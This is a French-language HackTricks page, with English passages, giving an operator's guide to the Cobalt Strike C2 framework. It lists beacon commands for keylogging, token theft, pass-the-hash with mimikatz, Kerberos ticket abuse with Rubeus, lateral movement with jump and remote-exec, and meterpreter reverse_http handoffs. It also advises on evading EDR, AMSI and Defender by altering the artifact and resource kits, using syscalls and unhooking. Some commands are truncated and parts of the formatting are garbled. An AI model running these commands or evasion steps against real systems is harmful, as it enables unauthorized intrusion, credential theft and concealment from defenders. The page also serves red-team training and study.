Cobalt Strike
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Listeners
C2 Listeners
Cobalt Strike -> Listeners -> Add/Edit puis vous pouvez sélectionner où écouter, quel type de beacon utiliser (http, dns, smb…) et plus.
Peer2Peer Listeners
Les beacons de ces listeners n’ont pas besoin de communiquer directement avec le C2 ; ils peuvent communiquer avec lui via d’autres beacons.
Cobalt Strike -> Listeners -> Add/Edit puis vous devez sélectionner les beacons TCP ou SMB
- The TCP beacon will set a listener in the port selected. To connect to a TCP beacon use the command
connect <ip> <port>from another beacon - The smb beacon will listen in a pipename with the selected name. To connect to a SMB beacon you need to use the command
link [target] [pipe].
Générer & héberger des payloads
Générer des payloads dans des fichiers
Attacks -> Packages ->
HTMLApplicationfor HTA filesMS Office Macrofor an office document with a macroWindows Executablefor a .exe, .dll or service .exeWindows Executable (S)for a stageless .exe, .dll or service .exe (better stageless than staged, less IoCs)
Générer & héberger des payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
Héberger des payloads
If you already has the file you want to host in a web sever just go to Attacks -> Web Drive-by -> Host File and select the file to host and web server config.
Options du beacon
Options et commandes du beacon
```bash # Execute local .NET binary execute-assembly # Note that to load assemblies larger than 1MB, the 'tasks_max_size' property of the malleable profile needs to be modified.Screenshots
printscreen # Take a single screenshot via PrintScr method screenshot # Take a single screenshot screenwatch # Take periodic screenshots of desktop
Go to View -> Screenshots to see them
keylogger
keylogger [pid] [x86|x64]
View > Keystrokes to see the keys pressed
portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process portscan [targets] [ports] [arp|icmp|none] [max connections]
Powershell
Import Powershell module
powershell-import C:\path\to\PowerView.ps1
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell
User impersonation
Token generation with creds
make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network ls \computer_name\c$ # Try to use generated token to access C$ in a computer rev2self # Stop using token generated with make_token
The use of make_token generates event 4624: An account was successfully logged on. This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type. As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
UAC Bypass
elevate svc-exe
Steal token from pid
Like make_token but stealing the token from a process
steal_token [pid] # Also, this is useful for network actions, not local actions
From the API documentation we know that this logon type “allows the caller to clone its current token”. This is why the Beacon output says Impersonated <current_username> - it’s impersonating our own cloned token.
ls \computer_name\c$ # Try to use generated token to access C$ in a computer rev2self # Stop using token from steal_token
## Launch process with nwe credentials spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE). It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
Inject into process
inject [pid] [x64|x86] [listener]
From an OpSec point of view: Don’t perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
Pass the hash
This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
pth [pid] [arch] [DOMAIN\user] [NTLM hash] pth [DOMAIN\user] [NTLM hash]
Pass the hash through mimikatz
mimikatz sekurlsa::pth /user:
Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
steal_token
Pass the ticket
Request a ticket
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user:
Create a new logon session to use with the new ticket (to not overwrite the compromised one)
make_token
Write the ticket in the attacker machine from a poweshell session & load it
[System.IO.File]::WriteAllBytes(“C:\Users\Administrator\Desktop\jkingTGT.kirbi”, [System.Convert]::FromBase64String(“[…ticket…]”)) kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
Pass the ticket from SYSTEM
Generate a new process with the ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:
Steal the token from that process
steal_token
Extract ticket + Pass the ticket
List tickets
execute-assembly C:\path\Rubeus.exe triage
Dump insteresting ticket by luid
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:
Create new logon session, note luid and processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
Insert ticket in generate logon session
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[…base64-ticket…]
Finally, steal the token from that new process
steal_token
# Lateral Movement
If a token was created it will be used
jump [method] [target] [listener]
Methods:
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
## psexec_psh x86 Use a service to run a PowerShell one-liner ## winrm x86 Run a PowerShell script via WinRM ## winrm64 x64 Run a PowerShell script via WinRM
wmi_msbuild x64 wmi lateral movement with msbuild inline c# task (oppsec)
remote-exec [method] [target] [command] # remote-exec doesn’t return output
Methods:
## psexec Remote execute via Service Control Manager ## winrm Remote execute via WinRM (PowerShell) ## wmi Remote execute via WMI
To execute a beacon with wmi (it isn’t in the jump command) just upload the beacon and execute it
beacon> upload C:\Payloads\beacon-smb.exe beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
Pass session to Metasploit - Through listener
On metaploit host
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf6 exploit(multi/handler) > set LHOST eth0 msf6 exploit(multi/handler) > set LPORT 8080 msf6 exploit(multi/handler) > exploit -j
On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
beacon> spawn metasploit
You can only spawn x86 Meterpreter sessions with the foreign listener.
Pass session to Metasploit - Through shellcode injection
On metasploit host
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=
Run msfvenom and prepare the multi/handler listener
Copy bin file to cobalt strike host
ps
shinject
Pass metasploit session to cobalt strike
Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode
Pivoting
Open a socks proxy in the teamserver
beacon> socks 1080
SSH connection
beacon> ssh 10.10.17.12:22 username password
</details>
### Implants personnalisés / Linux Beacons
- Un agent personnalisé n'a besoin que de parler le protocole HTTP/S du Cobalt Strike Team Server (default malleable C2 profile) pour s'enregistrer (check-in) et recevoir des tâches. Implémentez les mêmes URIs/headers/metadata crypto définis dans le profile pour réutiliser l'UI de Cobalt Strike pour le tasking et l'output.
- Un Aggressor Script (par ex., `CustomBeacon.cna`) peut encapsuler la génération de payloads pour le beacon non-Windows afin que les opérateurs puissent sélectionner le listener et produire des payloads ELF directement depuis le GUI.
- Exemples de gestionnaires de tâches Linux exposés au Team Server : `sleep`, `cd`, `pwd`, `shell` (exec arbitrary commands), `ls`, `upload`, `download`, et `exit`. Ceux-ci correspondent aux IDs de tâches attendus par le Team Server et doivent être implémentés côté serveur pour renvoyer la sortie dans le format approprié.
- Le support BOF sur Linux peut être ajouté en chargeant des Beacon Object Files in-process avec [TrustedSec's ELFLoader](https://github.com/trustedsec/ELFLoader) (supporte aussi les BOFs style Outflank), permettant une post-exploitation modulaire s'exécutant dans le contexte/les privilèges de l'implant sans créer de nouveaux processus.
- Intégrez un gestionnaire SOCKS dans le beacon personnalisé pour conserver la parité de pivot avec les Windows Beacons : quand l'opérateur exécute `socks <port>` l'implant doit ouvrir un proxy local pour router les outils de l'opérateur via l'hôte Linux compromis vers les réseaux internes.
## Opsec
### Execute-Assembly
Le **`execute-assembly`** utilise un **processus sacrificiel** via remote process injection pour exécuter le programme indiqué. C'est très bruyant car pour injecter dans un processus certaines Win APIs sont utilisées et chaque EDR les surveille. Cependant, il existe des outils personnalisés qui peuvent être utilisés pour charger quelque chose dans le même processus :
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- Dans Cobalt Strike vous pouvez aussi utiliser BOF (Beacon Object Files) : [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
L'aggressor script `https://github.com/outflanknl/HelpColor` va créer la commande `helpx` dans Cobalt Strike qui colorera les commandes pour indiquer si elles sont des BOFs (vert), si elles sont Frok&Run (jaune) et similaires, ou si elles sont ProcessExecution, injection ou semblable (rouge). Cela aide à identifier quelles commandes sont plus discrètes.
### Agir comme l'utilisateur
Vous pouvez vérifier des événements tels que `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents` :
- Security EID 4624 - Vérifiez tous les logons interactifs pour connaître les heures habituelles d'utilisation.
- System EID 12,13 - Vérifiez la fréquence des arrêts/démarrages/mises en veille.
- Security EID 4624/4625 - Vérifiez les tentatives NTLM entrantes valides/invalides.
- Security EID 4648 - Cet événement est créé lorsque des credentials en clair sont utilisés pour se connecter. Si un processus l'a généré, le binaire peut potentiellement contenir les credentials en clair dans un fichier de config ou dans le code.
Lorsque vous utilisez `jump` depuis cobalt strike, il est préférable d'utiliser la méthode `wmi_msbuild` pour que le nouveau processus paraisse plus légitime.
### Utiliser des comptes machine
Il est courant que les défenseurs surveillent des comportements étranges générés par des utilisateurs et **excluent les comptes de service et comptes machine comme `*$` de leur monitoring**. Vous pouvez utiliser ces comptes pour effectuer des mouvements latéraux ou une élévation de privilèges.
### Utiliser des stageless payloads
Les stageless payloads sont moins bruyants que les staged car ils n'ont pas besoin de télécharger un second stage depuis le serveur C2. Cela signifie qu'ils ne génèrent pas de trafic réseau après la connexion initiale, les rendant moins susceptibles d'être détectés par les défenses réseau.
### Tokens & Token Store
Faites attention lorsque vous volez ou générez des tokens car il peut être possible pour un EDR d'énumérer tous les tokens de tous les threads et de retrouver un **token appartenant à un autre utilisateur** ou même SYSTEM dans le processus.
Il est utile de stocker les tokens **par beacon** pour ne pas avoir à voler le même token encore et encore. C'est pratique pour le lateral movement ou lorsque vous devez réutiliser un token volé plusieurs fois :
- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all
Lors de déplacements latéraux, il est généralement préférable de **voler un token plutôt que d'en générer un nouveau** ou d'effectuer une attaque pass-the-hash.
### Guardrails
Cobalt Strike possède une fonctionnalité appelée **Guardrails** qui aide à prévenir l'utilisation de certaines commandes ou actions susceptibles d'être détectées par les défenseurs. Les Guardrails peuvent être configurés pour bloquer des commandes spécifiques, telles que `make_token`, `jump`, `remote-exec`, et d'autres souvent utilisées pour le lateral movement ou l'élévation de privilèges.
De plus, le repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) contient aussi des vérifications et des idées à considérer avant d'exécuter un payload.
### Chiffrement des tickets
Dans un AD, faites attention au chiffrement des tickets. Par défaut, certains outils utiliseront RC4 pour chiffrer les tickets Kerberos, ce qui est moins sécurisé que AES et, par défaut, les environnements à jour utiliseront AES. Cela peut être détecté par des défenseurs qui surveillent les algorithmes de chiffrement faibles.
### Éviter les valeurs par défaut
Lorsque vous utilisez Cobalt Strike par défaut, les pipes SMB auront les noms `msagent_####` et `status_####`. Changez ces noms. Il est possible de vérifier les noms des pipes existants depuis Cobalt Strike avec la commande : `ls \\.\pipe\`
De plus, pour les sessions SSH un pipe appelé `\\.\pipe\postex_ssh_####` est créé. Changez-le avec `set ssh_pipename "<new_name>";`.
Aussi, dans les attaques postexploitation les pipes `\\.\pipe\postex_####` peuvent être modifiés avec `set pipename "<new_name>"`.
Dans les profiles Cobalt Strike vous pouvez aussi modifier des éléments comme :
- Éviter d'utiliser `rwx`
- Comment le comportement d'injection de processus fonctionne (quelles APIs seront utilisées) dans le bloc `process-inject {...}`
- Comment le "fork and run" fonctionne dans le bloc `post-ex {…}`
- Le temps de sleep
- La taille max des binaires à charger en mémoire
- L'empreinte mémoire et le contenu DLL avec le bloc `stage {...}`
- Le trafic réseau
### Contourner le scan mémoire
Certains EDRs scannent la mémoire pour des signatures de malwares connues. Cobalt Strike permet de modifier la fonction `sleep_mask` en tant que BOF qui pourra chiffrer la backdoor en mémoire.
### Injections de processus bruyantes
Lors de l'injection de code dans un processus, c'est généralement très bruyant, car **aucun processus régulier n'effectue habituellement cette action et les méthodes disponibles sont très limitées**. Par conséquent, cela peut être détecté par des systèmes de détection comportementale. De plus, cela peut aussi être détecté par des EDRs qui scannent le réseau à la recherche de **threads contenant du code qui n'est pas sur disque** (bien que des processus comme les navigateurs utilisant le JIT fassent cela couramment). Exemple : [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
### Spawnas | PID and PPID relationships
Lors de la création d'un nouveau processus, il est important de **maintenir une relation parent-enfant régulière** entre les processus pour éviter la détection. Si svchost.exec exécute iexplorer.exe cela paraîtra suspect, car svchost.exe n'est pas normalement le parent de iexplorer.exe dans un environnement Windows standard.
Quand un nouveau beacon est spawné dans Cobalt Strike, par défaut un processus utilisant **`rundll32.exe`** est créé pour exécuter le nouveau listener. Ce n'est pas très stealthy et peut être facilement détecté par les EDRs. De plus, `rundll32.exe` est lancé sans arguments ce qui le rend encore plus suspect.
Avec la commande suivante de Cobalt Strike, vous pouvez spécifier un processus différent pour spawn le nouveau beacon, le rendant moins détectable :
```bash
spawnto x86 svchost.exe
Vous pouvez aussi modifier ces paramètres spawnto_x86 et spawnto_x64 dans un profil.
Proxying le trafic des attaquants
Les attaquants auront parfois besoin d’exécuter des outils localement, même sur des machines linux, et de faire en sorte que le trafic des victimes atteigne l’outil (par ex. NTLM relay).
De plus, pour réaliser une attaque pass-the.hash ou pass-the-ticket, il est parfois plus discret pour l’attaquant d’ajouter ce hash ou ticket dans son propre processus LSASS localement, puis de pivoter depuis celui-ci plutôt que de modifier le processus LSASS d’une machine victime.
Cependant, vous devez être prudent avec le trafic généré, car vous pourriez émettre du trafic inhabituel (kerberos ?) depuis votre backdoor process. Pour cela, vous pourriez pivoter vers un browser process (bien que vous puissiez être repéré en vous injectant dans un processus, pensez donc à une manière discrète de le faire).
Éviter les AVs
AV/AMSI/ETW Bypass
Consultez la page :
Artifact Kit
Généralement, dans /opt/cobaltstrike/artifact-kit vous pouvez trouver le code et les templates pré-compilés (dans /src-common) des payloads que cobalt strike va utiliser pour générer les beacons binaires.
En utilisant ThreatCheck avec le backdoor généré (ou juste avec le template compilé) vous pouvez identifier ce qui fait déclencher defender. C’est généralement une chaîne. Vous pouvez donc simplement modifier le code qui génère le backdoor pour que cette chaîne n’apparaisse pas dans le binaire final.
Après avoir modifié le code, exécutez simplement ./build.sh depuis le même répertoire et copiez le dossier dist-pipe/ dans le client Windows à C:\Tools\cobaltstrike\ArtifactKit.
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
N’oubliez pas de charger le script agressif dist-pipe\artifact.cna pour indiquer à Cobalt Strike d’utiliser les ressources depuis le disque que nous voulons et non celles déjà chargées.
Resource Kit
Le dossier ResourceKit contient les modèles pour les payloads scriptés de Cobalt Strike, notamment PowerShell, VBA et HTA.
En utilisant ThreatCheck avec les modèles, vous pouvez identifier ce que le defender (AMSI dans ce cas) n’aime pas et le modifier :
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
En modifiant les lignes détectées, on peut générer un modèle qui ne sera pas détecté.
N’oubliez pas de charger le script agressif ResourceKit\resources.cna pour indiquer à Cobalt Strike d’utiliser les ressources depuis le disque que nous voulons et non celles déjà chargées.
Function hooks | Syscall
Function hooking est une méthode très courante utilisée par les ERDs pour détecter une activité malveillante. Cobalt Strike permet de contourner ces hooks en utilisant syscalls au lieu des appels standard de l’API Windows via la config None, ou d’utiliser la version Nt* d’une fonction avec le paramètre Direct, ou simplement de sauter la fonction Nt* avec l’option Indirect dans le malleable profile. Selon le système, une option peut être plus discrète qu’une autre.
Cela peut être défini dans le profile ou en utilisant la commande syscall-method
Cependant, cela peut aussi générer du bruit.
Une des options offertes par Cobalt Strike pour contourner les hooks est de supprimer ces hooks avec : unhook-bof.
Vous pouvez également vérifier quelles fonctions sont hookées avec https://github.com/Mr-Un1k0d3r/EDRs ou https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector
Commandes diverses de Cobalt Strike
```bash cd C:\Tools\neo4j\bin neo4j.bat console http://localhost:7474/ --> Change password execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCALChange powershell
C:\Tools\cobaltstrike\ResourceKit template.x64.ps1
Change $var_code -> $polop
$x –> $ar
cobalt strike –> script manager –> Load –> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
</details>
## Références
- [Cobalt Strike Linux Beacon (custom implant PoC)](https://github.com/EricEsquivel/CobaltStrike-Linux-Beacon)
- [TrustedSec ELFLoader & Linux BOFs](https://github.com/trustedsec/ELFLoader)
- [Outflank nix BOF template](https://github.com/outflanknl/nix_bof_template)
- [Unit42 analysis of Cobalt Strike metadata encryption](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/)
- [SANS ISC diary on Cobalt Strike traffic](https://isc.sans.edu/diary/27968)
- [cs-decrypt-metadata-py](https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/)
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>


